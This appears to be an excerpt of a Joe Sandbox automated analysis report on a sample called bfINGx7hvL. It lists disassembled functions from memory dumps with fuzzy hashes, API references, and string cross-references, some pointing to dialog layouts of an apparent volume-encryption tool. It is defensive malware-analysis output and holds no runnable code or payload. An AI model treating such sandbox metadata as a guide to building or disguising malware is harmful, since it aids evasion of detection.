Opcode Fuzzy Hash: 9183fdbd3bc781a0cb88e6bbac204078416eddb5940c36d85a7f1c5a33c86aca
Instruction Fuzzy Hash: 0A216732D081148AC324DB1AC58197BF7E4FB9A714F06962ED5C467295E7349C10DBA2

Function 00F766B2 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e503caa0ed711fec9d142d91f1f70bcec9aba2fcf2113354412a244652637837
Instruction ID: 4f871a321afe44a5fa8b4905ee8ec84e15eb1d1e51313476ad4056cb3da0a3ef
Opcode Fuzzy Hash: e503caa0ed711fec9d142d91f1f70bcec9aba2fcf2113354412a244652637837
Instruction Fuzzy Hash: BF31B375A046009BD7189E19C880A26B7E1EFC83A8F58C96FE89DCB241DA35DC43DB43

Function 00FA3EB7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808a492daf19575770421cc8061b7d0bfefc4c9e0040b21e7c63daea9f7e0f1c
Instruction ID: 512bd2cb3321968527b8df3cccfaab7502ee8c8906e5d81d2fdf83998c21bb81
Opcode Fuzzy Hash: 808a492daf19575770421cc8061b7d0bfefc4c9e0040b21e7c63daea9f7e0f1c
Instruction Fuzzy Hash: FA414CB0405F808AD7328F3588507A7BBF0BF1B346F44599DD4EB9B682E369A404DF65

Function 00F874E1 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7f15e7b5b08b8358fbe17d37fc05187be34d42391d0b42d671e7a7b1351e9ae
Instruction ID: 0ee47b2b29bd00f22634020f2005121318a0819ea36a846160b2e3f624c6859f
Opcode Fuzzy Hash: f7f15e7b5b08b8358fbe17d37fc05187be34d42391d0b42d671e7a7b1351e9ae
Instruction Fuzzy Hash: 30212C71A083118BC714AF18D8807AAF7F6AF95311F29182CE486AB370E775DC859756

Function 00F87AF3 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64e447edad70d8b44dc50834caa0145688847c300de5893252a573e26023d9c7
Instruction ID: d9fbaf72fbc9dac8d472c56502471acc343043d62b19f8924319596935cb8ad0
Opcode Fuzzy Hash: 64e447edad70d8b44dc50834caa0145688847c300de5893252a573e26023d9c7
Instruction Fuzzy Hash: 06118E729083119FDB11BF64CC80B6AB7E9ABD9350F25186CF591A7260E335EC44DB86

Function 00F7116E Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction ID: b07ead7b9fb7e56fb0213a56531a87c934ce3b18879a19da2e82d6ec358fb2f0
Opcode Fuzzy Hash: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction Fuzzy Hash: 0331A374E00109DFCB08CF98C590AAEBBB1FF48314F20819AD815AB341D731AE86DF91

Function 00FB0EF0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eac2a1f0f58ceee2a8a9a4ab4054dd065b846e88169e0c5e39cb7f08a80497e
Instruction ID: eabc1684e5b5652ac863bf380031fc6a47944e9934d76d414f4273250e1658bd
Opcode Fuzzy Hash: 9eac2a1f0f58ceee2a8a9a4ab4054dd065b846e88169e0c5e39cb7f08a80497e
Instruction Fuzzy Hash: CB3124B4604B00DFC7219F06D684627FBB1FF0AB41B409949D8AA8BB12C734F950DF96

Function 00FAC282 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: f322e5209b70a67b2ccaf59987c46db23233158b92ef4693fae76f85996bfcbe
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 37110C73B092D40DC3168D3C8400669BFE30AA3234F5D8399F4F89B2D6C6238D8A93A5

Function 00FA1DB2 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4147aed3daa3a20bc70b403452cade9f2d104aa41864c6b219c6a1720fa72123
Instruction ID: 94dc47c1830fe7c205852fcd825aac61a29023e6a86776aff7e48c61aa11e647
Opcode Fuzzy Hash: 4147aed3daa3a20bc70b403452cade9f2d104aa41864c6b219c6a1720fa72123
Instruction Fuzzy Hash: 360188F1B0030147D7309E54C9C1B27B2AC7F56714F19852EE9499B201EB79FC15A791

Function 00F859AB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a0b57e7b5838c5d051a6494e588ab03b56762f7dbbfb4ea49c5814e37579cc
Instruction ID: a69a9dd68f917d0e297546b73a574a52eddc6a0911c878cc1967b9d41524651c
Opcode Fuzzy Hash: 03a0b57e7b5838c5d051a6494e588ab03b56762f7dbbfb4ea49c5814e37579cc
Instruction Fuzzy Hash: 83215871418340ABD600AB04C881B6FFBF5AF8A754F24891DF58897261E33AC994EB47

Function 00FB8D52 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab4f1dac993e03f1ef20d7eb187811407bb58be7fd4febd14efeba1fcf2bc281
Instruction ID: 953000a96af1d83e3f1b4063386a1e7a2269a961d9d24306b7ed8374a10898c1
Opcode Fuzzy Hash: ab4f1dac993e03f1ef20d7eb187811407bb58be7fd4febd14efeba1fcf2bc281
Instruction Fuzzy Hash: 13117C3440C2809BD341AF19C884A1EFBF8EFAA340F68895EE5C193252C736D851DF17

Function 00F78B72 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b0bc6cc3fdd4b167a1ee70d265d0f9124672522aacad7ac7bde586668fd040
Instruction ID: 10033ff14384a558ae41f44f9157b193ffe9513b3968b7bd459a2aa3cc00f0b7
Opcode Fuzzy Hash: 94b0bc6cc3fdd4b167a1ee70d265d0f9124672522aacad7ac7bde586668fd040
Instruction Fuzzy Hash: ACF05977B6222147A700CD6AECC4527B356D7C62B4B2D8439E848D3200CC31E807A298

Function 00F8539E Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e74d33bbbb1b0ffe6fc6b1f0735e7644a65a0d8641347525061f40f2920dc9
Instruction ID: c0c9cc730e1ebb934f4c078385410ca1f6f85179ef323af9977bf3031cb897af
Opcode Fuzzy Hash: f3e74d33bbbb1b0ffe6fc6b1f0735e7644a65a0d8641347525061f40f2920dc9
Instruction Fuzzy Hash: EC01103141C3809AD7209F14D981AAFB7F1EF82B41F008C2DE88992261E33AC850EB07

Function 00F8C952 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8bf53a18c3d28959b3b7e29979ae87faec7114578b08e9828742aa937df777a
Instruction ID: c91c9d18b97674a50e88d8eadb64bd2cc9b1c02b6dd0c7a137de4c4f4aeeec46
Opcode Fuzzy Hash: d8bf53a18c3d28959b3b7e29979ae87faec7114578b08e9828742aa937df777a
Instruction Fuzzy Hash: 1CF055B1A042106BDB23AD489CC4BBBBF9CCB8B360F1514A5E88093102D1719849C3F6

Function 00FBB3B2 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2042b291cc885411595e814b09f319313d63e5916f29e8bc63a26af0d8f5447
Instruction ID: df7ec6591fa92a8fc8cf8b7b418f9a3449c4cc0bbc0558c22ae5060d1eecf9af
Opcode Fuzzy Hash: b2042b291cc885411595e814b09f319313d63e5916f29e8bc63a26af0d8f5447
Instruction Fuzzy Hash: A6F0F9708182409BC301AF26C88491EFBF4EF96745F55891DE0C597261D335D8A0DB66

Function 00F70ECF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction ID: 7180afc6c32d0ecd8a96297b537fc1ffe090d2286a3d9b477f29db4e7937ee15
Opcode Fuzzy Hash: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction Fuzzy Hash: D301BB34E11149EFCB24DF94C194A9CB7B5FF44324F24859AE8059B785CB70AE81EB41

Function 00FB2B02 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 9dc9dda31bd3292d53f997bf109a054a6a9c368872adcf5f4a6ce688e5327f71
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 74D0A722A08331469BB48E1AA8008B7F7F4FAC7B22B49D55EF5C2E3148D730DC41E669

Function 00F87BF4 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: babbbec20277373ca4efb2e358d653785f90b3f3a970c42770f5635e692a0d64
Instruction ID: 080efed17baf347db9fba12d8ac7ba4103de34cd98803c6a5f4f63bcd518b6e8
Opcode Fuzzy Hash: babbbec20277373ca4efb2e358d653785f90b3f3a970c42770f5635e692a0d64
Instruction Fuzzy Hash: 1FE0EC319083518BDA14AF108C015AEB3B1AB86300F019828E58967152EB39F906AB8B

Function 00FA54B5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c12d89730267a57265c5ff4f83e4dcdda70c47b379cd581d96b3031b7fdf2c30
Instruction ID: 16377979d0f7591ec9f18c1d3c73801e209d0b64eef3d901765740c17c739b8a
Opcode Fuzzy Hash: c12d89730267a57265c5ff4f83e4dcdda70c47b379cd581d96b3031b7fdf2c30
Instruction Fuzzy Hash: 37B09230A0810187D7880D389455337B1208307221F10B3BE2007F3181CE65CA82080C

Function 00F8F835 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed41defb213639c12427ed227e5e8670bce3229be7b0c6efb41ca900001e68b1
Instruction ID: 8dbeaa56720d30daa72785a68005467d4777e875b6803df40a1c698835311a6f
Opcode Fuzzy Hash: ed41defb213639c12427ed227e5e8670bce3229be7b0c6efb41ca900001e68b1
Instruction Fuzzy Hash: 85B092E9C4020486D0142E202E82826B0280527205F18B4B7B84B6620BF92ED118525B

Function 00FB0B62 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eddf7d5978aa49110249b5af0f03b4df7cfe6c3c773fb2c6384d10bcc9886f60
Instruction ID: a0779b4a2e78800a939fc1c378c59f014d6c37fe462950bea6febb7da0b28ad7
Opcode Fuzzy Hash: eddf7d5978aa49110249b5af0f03b4df7cfe6c3c773fb2c6384d10bcc9886f60
Instruction Fuzzy Hash: FCB09234A482008B8218CE04C080830B3F5EB0F602B042018E04967612C720F8008A08

Function 042954AC Relevance: 101.6, APIs: 1, Strings: 57, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0429553B

Strings

1, xrefs: 04295680
O, xrefs: 0429568A
u, xrefs: 04295621
K, xrefs: 0429569E
G, xrefs: 04295617
a, xrefs: 04295559
?, xrefs: 0429563A
M, xrefs: 04295671
5, xrefs: 0429566C
[, xrefs: 04295635
F, xrefs: 042956B7
R, xrefs: 0429562B
O, xrefs: 0429565D
^, xrefs: 042955F9
Q, xrefs: 04295563
;, xrefs: 0429564E
g, xrefs: 04295603
_, xrefs: 042954C4
9, xrefs: 04295658
c, xrefs: 042954BA
', xrefs: 04295612
f, xrefs: 0429560D
, xrefs: 04295595
], xrefs: 04295577
I, xrefs: 042956A8
G, xrefs: 042956B2
2, xrefs: 042955DB
%, xrefs: 0429561C
P, xrefs: 042954CE
3, xrefs: 04295676
C, xrefs: 04295649
-, xrefs: 042955F4
/, xrefs: 042955EA
@, xrefs: 042955B3
Y, xrefs: 04295581
=, xrefs: 04295644
n, xrefs: 0429558B
7, xrefs: 04295662
+, xrefs: 042955FE
<, xrefs: 042955A9
Y, xrefs: 042955EF
E, xrefs: 042956BC
v, xrefs: 042955BD
!, xrefs: 04295630
;, xrefs: 042956AD
1, xrefs: 042956A3
\, xrefs: 0429556D
#, xrefs: 04295626
(, xrefs: 0429559F
M, xrefs: 04295694
_, xrefs: 0429567B
y, xrefs: 042955E5
D, xrefs: 04295667
), xrefs: 04295608
G, xrefs: 042955C7
G, xrefs: 042955D1
0, xrefs: 04295755

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: AllocString
String ID: $!$#$%$'$($)$+$-$/$0$1$1$2$3$5$7$9$;$;$<$=$?$@$C$D$E$F$G$G$G$G$I$K$M$M$O$O$P$Q$R$Y$Y$[$\$]$^$_$_$a$c$f$g$n$u$v$y
API String ID: 2525500382-1333701383
Opcode ID: a38d76ce95456d1d88a7d19b25074880019634ac769ca056be0bdecea63557db
Instruction ID: 406b4da9da8fa7c7bd10027cc647f28734a1deb7898b1d86e18e150bc79df56f
Opcode Fuzzy Hash: a38d76ce95456d1d88a7d19b25074880019634ac769ca056be0bdecea63557db
Instruction Fuzzy Hash: 4691A56010D7C0CEE362D768948875FFFE16BA6308F48499DE1D84B392C3BA8549CB67

Function 00451320 Relevance: 60.3, APIs: 6, Strings: 34, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00451330
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00451348
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SETTINGS), ref: 00451375
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00451387

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SETTINGS), ref: 004513B4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004513C6

Part of subcall function 0041EF30: EnterCriticalSection.KERNEL32(005BDCE4,?,?,0041DE61,Button\State,LABEL_BUTTON|NORMAL,00000001,PM_FILLET,00000000,PM_HEIGHT,00000000,Button,?,LABEL_BUTTON,?,?), ref: 0041EF3B
Part of subcall function 0041EF30: LeaveCriticalSection.KERNEL32(005BDCE4,?,0041DE61,Button\State,LABEL_BUTTON|NORMAL,00000001,PM_FILLET,00000000,PM_HEIGHT,00000000,Button,?,LABEL_BUTTON,?,?,0041E1DB), ref: 0041EF4E

Strings

PRIVACY_SEL, xrefs: 0045167B
BUTTON_RESTROE_WIDTH, xrefs: 004513EE
USER_INTERFACE_SEL, xrefs: 004516B1
MOUNT, xrefs: 004515AB
PAGE_X, xrefs: 00451462
BORDER, xrefs: 00451527
BORDER_HL, xrefs: 00451511
DISMOUNT, xrefs: 004515C1
MOUNT_SEL, xrefs: 00451657
SETTINGS|, xrefs: 0045148E, 004514A7, 004514C6
ENCRYPTION, xrefs: 00451595
HOTKEYS, xrefs: 004515ED
GENERAL, xrefs: 0045157F
TABBUTTON_HEIGHT, xrefs: 0045144C
DISMOUNT_SEL, xrefs: 00451669
FILE_ASSOCIATION_SEL, xrefs: 0045169F
FILE_ASSOCIATION, xrefs: 00451603
PRIVACY, xrefs: 004515D7
TABBUTTON_WIDTH, xrefs: 00451436
TABBUTTON_LEFT, xrefs: 0045140A
USER_INTERFACE, xrefs: 00451619
HEIGHT, xrefs: 004514FB
Dialog, xrefs: 0045135C, 0045139B, 004513DA
BACKGROUND_END, xrefs: 00451553
ENCRYPTION_SEL, xrefs: 00451645
Dialog\TabbarFrame, xrefs: 00451493, 004514B2, 004514D1
WIDTH, xrefs: 004514E5
BACKGROUND_BEGIN, xrefs: 0045153D
SETTINGS, xrefs: 00451356, 00451395, 004513D4
TABBUTTON_TOP, xrefs: 00451420
HOTKEYS_SEL, xrefs: 0045168D
TABBAR_SELECTED, xrefs: 00451569
GENERAL_SEL, xrefs: 0045162F
PAGE_Y, xrefs: 00451478

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: BACKGROUND_BEGIN$BACKGROUND_END$BORDER$BORDER_HL$BUTTON_RESTROE_WIDTH$DISMOUNT$DISMOUNT_SEL$Dialog$Dialog\TabbarFrame$ENCRYPTION$ENCRYPTION_SEL$FILE_ASSOCIATION$FILE_ASSOCIATION_SEL$GENERAL$GENERAL_SEL$HEIGHT$HOTKEYS$HOTKEYS_SEL$MOUNT$MOUNT_SEL$PAGE_X$PAGE_Y$PRIVACY$PRIVACY_SEL$SETTINGS$SETTINGS|$TABBAR_SELECTED$TABBUTTON_HEIGHT$TABBUTTON_LEFT$TABBUTTON_TOP$TABBUTTON_WIDTH$USER_INTERFACE$USER_INTERFACE_SEL$WIDTH
API String ID: 904232820-2028568477
Opcode ID: 6fa8e5afa7a1104540bc4d8a6ea7b051293c4ac48779a919dec611bf4dc3b2ca
Instruction ID: 0a7017a5ae3d150980986b9a4867fdef5c690e4b5b22665d8ec40be5f36ddc5c
Opcode Fuzzy Hash: 6fa8e5afa7a1104540bc4d8a6ea7b051293c4ac48779a919dec611bf4dc3b2ca
Instruction Fuzzy Hash: 177149B438478623EA143622AD63B7B19856F44F4EF08443FBE05AA2E3EEDCD805955D

Function 0044A3C0 Relevance: 58.8, APIs: 6, Strings: 33, Instructions: 253COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 0044A3D0
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0044A3E8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,MOUNT_VOLUME), ref: 0044A415
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0044A427

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,MOUNT_VOLUME), ref: 0044A454
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0044A466

Strings

PM_LIST_DRIVE_LETTER_X, xrefs: 0044A6BA
PM_EDIT_KEYFILE_Y, xrefs: 0044A5B2
PM_LIST_MOUNT_AS_Y, xrefs: 0044A678
PM_EDIT_FILENAME_WIDTH, xrefs: 0044A52E
PM_LIST_MOUNT_AS_WIDTH, xrefs: 0044A68E
PM_CHECKBOX_READONLY_Y, xrefs: 0044A620
PM_LIST_MOUNT_AS_MENU_WIDTH, xrefs: 0044A6A4
PM_STRINFO_Y, xrefs: 0044A544
PM_GROUPLINE_MOUNT_OPTIONS_Y, xrefs: 0044A726
PM_EDIT_PASSWORD_Y, xrefs: 0044A570
PM_EDIT_KEYFILE_WIDTH, xrefs: 0044A5C8
MOUNT_VOLUME, xrefs: 0044A3F6, 0044A435, 0044A474
PM_CHECKBOX_OPEN_EXPLORER_Y, xrefs: 0044A64C
PM_CHECKBOX_SHOW_PASSWORD_X, xrefs: 0044A5DE
PM_GROUPLINE_VOLUME_Y, xrefs: 0044A702
PM_LIST_MOUNT_AS_X, xrefs: 0044A662
PM_EDIT_KEYFILE_X, xrefs: 0044A59C
PM_LIST_DRIVE_LETTER_Y, xrefs: 0044A6CC
PM_LABEL_OFFSET_Y, xrefs: 0044A4EC
PM_CHECKBOX_READONLY_X, xrefs: 0044A60A
PM_EDIT_PASSWORD_WIDTH, xrefs: 0044A586
PM_LIST_DRIVE_LETTER_MENU_WIDTH, xrefs: 0044A6F0
PM_EDIT_PASSWORD_X, xrefs: 0044A55A
PM_ICON_LEFT, xrefs: 0044A4A4
PM_LABEL_OFFSET_X, xrefs: 0044A4D6
Dialog, xrefs: 0044A3FC, 0044A43B, 0044A47A
PM_CHECKBOX_OPEN_EXPLORER_X, xrefs: 0044A636
PM_ICON_TOP, xrefs: 0044A4C0
PM_GROUPLINE_PASSWORD_Y, xrefs: 0044A714
PM_EDIT_FILENAME_Y, xrefs: 0044A518
PM_CHECKBOX_SHOW_PASSWORD_Y, xrefs: 0044A5F4
PM_LIST_DRIVE_LETTER_WIDTH, xrefs: 0044A6DE
PM_EDIT_FILENAME_X, xrefs: 0044A502

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Dialog$MOUNT_VOLUME$PM_CHECKBOX_OPEN_EXPLORER_X$PM_CHECKBOX_OPEN_EXPLORER_Y$PM_CHECKBOX_READONLY_X$PM_CHECKBOX_READONLY_Y$PM_CHECKBOX_SHOW_PASSWORD_X$PM_CHECKBOX_SHOW_PASSWORD_Y$PM_EDIT_FILENAME_WIDTH$PM_EDIT_FILENAME_X$PM_EDIT_FILENAME_Y$PM_EDIT_KEYFILE_WIDTH$PM_EDIT_KEYFILE_X$PM_EDIT_KEYFILE_Y$PM_EDIT_PASSWORD_WIDTH$PM_EDIT_PASSWORD_X$PM_EDIT_PASSWORD_Y$PM_GROUPLINE_MOUNT_OPTIONS_Y$PM_GROUPLINE_PASSWORD_Y$PM_GROUPLINE_VOLUME_Y$PM_ICON_LEFT$PM_ICON_TOP$PM_LABEL_OFFSET_X$PM_LABEL_OFFSET_Y$PM_LIST_DRIVE_LETTER_MENU_WIDTH$PM_LIST_DRIVE_LETTER_WIDTH$PM_LIST_DRIVE_LETTER_X$PM_LIST_DRIVE_LETTER_Y$PM_LIST_MOUNT_AS_MENU_WIDTH$PM_LIST_MOUNT_AS_WIDTH$PM_LIST_MOUNT_AS_X$PM_LIST_MOUNT_AS_Y$PM_STRINFO_Y
API String ID: 904232820-2220584259
Opcode ID: df06e37f6b5d4c361b9408e515c20cc59364c07aade7ca59aad5c6ce60f664b4
